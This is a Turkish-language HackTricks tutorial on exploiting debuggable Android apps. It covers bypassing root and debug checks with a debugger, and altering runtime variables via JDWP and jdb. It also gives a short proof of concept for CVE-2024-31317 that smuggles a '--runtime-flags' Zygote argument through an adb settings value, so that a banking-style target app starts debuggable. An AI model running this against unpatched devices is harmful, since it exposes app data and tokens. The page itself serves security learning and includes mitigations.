Hata ayıklanabilir bir uygulamanın istismar edilmesi
Reading time: 7 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Kök ve hata ayıklanabilir kontrollerin atlatılması
Bu bölüm, https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0 adresindeki yazının bir özetidir.
Android Uygulamasını Hata Ayıklanabilir Hale Getirme ve Kontrolleri Atlatma Adımları
Uygulamayı Hata Ayıklanabilir Hale Getirme
İçerik https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0 adresine dayanmaktadır.
- APK'yı Decompile Et:
- APK'yı decompile etmek için APK-GUI aracını kullanın.
- android-manifest dosyasına
android:debuggable="true"
ekleyerek hata ayıklama modunu etkinleştirin. - Değiştirilen uygulamayı yeniden derleyin, imzalayın ve zipalign yapın.
- Değiştirilmiş Uygulamayı Yükle:
- Komutu kullanın:
adb install <application_name>
.
- Paket Adını Al:
- Üçüncü taraf uygulamaları listelemek ve paket adını bulmak için
adb shell pm list packages –3
komutunu çalıştırın.
- Uygulamayı Hata Ayıklayıcı Bağlantısını Bekleyecek Şekilde Ayarla:
- Komut:
adb shell am setup-debug-app –w <package_name>
. - Not: Bu komut, uygulamayı başlatmadan önce her seferinde çalıştırılmalıdır, böylece hata ayıklayıcıyı bekler.
- Süreklilik için,
adb shell am setup-debug-app –w ––persistent <package_name>
kullanın. - Tüm bayrakları kaldırmak için
adb shell am clear-debug-app <package_name>
komutunu kullanın.
- Android Studio'da Hata Ayıklama İçin Hazırlık Yapın:
- Android Studio'da File -> Open Profile or APK yolunu izleyin.
- Yeniden derlenmiş APK'yı açın.
- Ana Java Dosyalarında Kesme Noktaları Ayarlayın:
MainActivity.java
(özellikleonCreate
metodunda),b.java
veContextWrapper.java
dosyalarında kesme noktaları koyun.
Kontrolleri Atlatma
Uygulama, belirli noktalarda hata ayıklanabilir olup olmadığını kontrol edecek ve köklenmiş bir cihazı gösteren ikili dosyaları da kontrol edecektir. Hata ayıklayıcı, uygulama bilgilerini değiştirmek, hata ayıklanabilir bitini kaldırmak ve bu kontrolleri atlatmak için aranan ikili dosyaların adlarını değiştirmek için kullanılabilir.
Hata ayıklanabilir kontrolü için:
- Bayrak Ayarlarını Değiştir:
- Hata ayıklayıcı konsolunun değişken bölümünde,
this mLoadedAPK -> mApplicationInfo -> flags = 814267974
yolunu izleyin. - Not:
flags = 814267974
'ün ikili temsili11000011100111011110
olup, "Flag_debuggable" bayrağının aktif olduğunu gösterir.
Bu adımlar, uygulamanın hata ayıklanabilir olmasını ve belirli güvenlik kontrollerinin hata ayıklayıcı kullanılarak atlatılmasını sağlar, böylece uygulamanın davranışının daha derinlemesine analizi veya değiştirilmesi mümkün olur.
Adım 2, bir bayrak değerini 814267972 olarak değiştirmeyi içerir; bu, ikili olarak 110000101101000000100010100 şeklinde temsil edilir.
Bir Açığı İstismar Etme
Bir düğme ve bir metin görünümü içeren savunmasız bir uygulama kullanılarak bir gösterim sağlandı. Başlangıçta uygulama "Crack Me" mesajını gösterir. Amaç, kaynak kodunu değiştirmeden "Try Again" mesajını "Hacked" olarak değiştirmektir.
Açığı Kontrol Etme
- Uygulama,
AndroidManifest.xml
dosyasına erişmek içinapktool
kullanılarak decompile edildi. - AndroidManifest.xml dosyasında
android_debuggable="true"
bulunması, uygulamanın hata ayıklanabilir olduğunu ve istismara açık olduğunu gösterir. apktool
'un yalnızca hata ayıklanabilir durumu kontrol etmek için kullanıldığını belirtmek gerekir; herhangi bir kod değiştirilmez.
Kurulumu Hazırlama
- Süreç, bir emülatör başlatmayı, savunmasız uygulamayı yüklemeyi ve dinleyen Dalvik VM portlarını belirlemek için
adb jdwp
kullanmayı içeriyordu. - JDWP (Java Debug Wire Protocol), bir VM'de çalışan bir uygulamanın hata ayıklanmasını sağlamak için benzersiz bir port açar.
- Uzaktan hata ayıklama için port yönlendirme gerekliydi, ardından JDB hedef uygulamaya bağlandı.
Çalışma Zamanında Kod Enjekte Etme
- İstismar, kesme noktaları ayarlayarak ve uygulama akışını kontrol ederek gerçekleştirildi.
- Uygulamanın yapısını ortaya çıkarmak için
classes
vemethods <class_name>
gibi komutlar kullanıldı. onClick
metodunda bir kesme noktası ayarlandı ve yürütmesi kontrol edildi.- Yerel değişkenleri incelemek ve değiştirmek için
locals
,next
veset
komutları kullanıldı; özellikle "Try Again" mesajı "Hacked" olarak değiştirildi. - Değiştirilen kod,
run
komutu kullanılarak yürütüldü ve uygulamanın çıktısı gerçek zamanlı olarak başarıyla değiştirildi.
Bu örnek, hata ayıklanabilir bir uygulamanın davranışının nasıl manipüle edilebileceğini gösterdi ve uygulama bağlamında cihazda shell erişimi elde etme gibi daha karmaşık istismarların potansiyelini vurguladı.
2024 – herhangi bir uygulamayı hata ayıklanabilir bir süreç haline getirme (CVE-2024-31317)
Hedef APK android:debuggable bayrağı ile gönderilmese bile, son araştırmalar, Zygote'un komut satırı argümanlarını nasıl işlediğini kötüye kullanarak rastgele uygulamaların DEBUG_ENABLE_JDWP
çalışma zamanı bayrağı ile başlatılmasının mümkün olduğunu göstermiştir.
- Açık: Zygote'un komut soketinden sağlanan
--runtime-flags
'ın uygunsuz doğrulaması,system_server
'a ulaşabilen bir saldırganın (örneğin,WRITE_SECURE_SETTINGS
iznine sahip ayrıcalıklıadb
shell aracılığıyla) ek parametreler enjekte etmesine olanak tanır. Hazırlanan komutsystem_server
tarafından tekrar oynatıldığında, kurban uygulaması hata ayıklanabilir olarak fork edilir ve dinleyen bir JDWP iş parçacığı ile başlatılır. Bu sorun CVE-2024-31317 olarak takip edilmektedir ve Haziran 2024 Android Güvenlik Bülteni'nde düzeltilmiştir. - Etkisi: herhangi bir uygulamanın (örneğin,
com.android.settings
gibi ayrıcalıklı olanlar dahil) özel veri dizinine tam okuma/yazma erişimi, token hırsızlığı, MDM atlatma ve birçok durumda artık hata ayıklanabilir süreçlerin dışa aktarılan IPC uç noktalarını kötüye kullanarak ayrıcalık yükseltme için doğrudan bir yol. - Etkilenen sürümler: Haziran 2024 yamanma seviyesinden önce Android 9'dan 14'e kadar.
Hızlı PoC
# Requires: adb shell (device must be <2024-06-01 patch-level)
# 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag
adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:"
# 2. Launch the target app – it will be forked with DEBUG_ENABLE_JDWP
adb shell monkey -p com.victim.bank 1
# 3. Enumerate JDWP PIDs and attach with jdb / Android-Studio
adb jdwp # obtain the PID
adb forward tcp:8700 jdwp:<pid>
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700
Adım 1'deki hazırlanmış değer, ayrıştırıcıyı “hızlı yol”dan çıkarır ve
--runtime-flags=0x104
(DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE
) içeren ikinci bir sentetik komut ekler; bu, çerçeve tarafından sağlanmış gibi kabul edilir. Uygulama başlatıldığında, bir JDWP soketi açılır ve düzenli dinamik hata ayıklama hileleri (metot değiştirme, değişken yamanması, canlı Frida enjeksiyonu vb.) APK veya cihaz önyükleme görüntüsünü değiştirmeden mümkündür.
Tespit ve Azaltma
- 2024-06-01 (veya sonrası) güvenlik seviyesine yamanın – Google, sonraki komutların bu şekilde kaçırılmasını önlemek için
ZygoteCommandBuffer
'ı güçlendirdi. - Üretim cihazlarında
WRITE_SECURE_SETTINGS
/shell
erişimini kısıtlayın. İstismar bu izni gerektirir; bu izin genellikle yalnızca ADB veya OEM ayrıcalıklı uygulamalar tarafından tutulur. - EMM/MDM yönetimindeki filolarda,
ro.debuggable=0
uygulayın veadb disable-verifier
ile shell erişimini reddedin.
Referanslar
- https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
- https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications
- https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html
- https://blog.flanker017.me/cve-2024-31317/
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.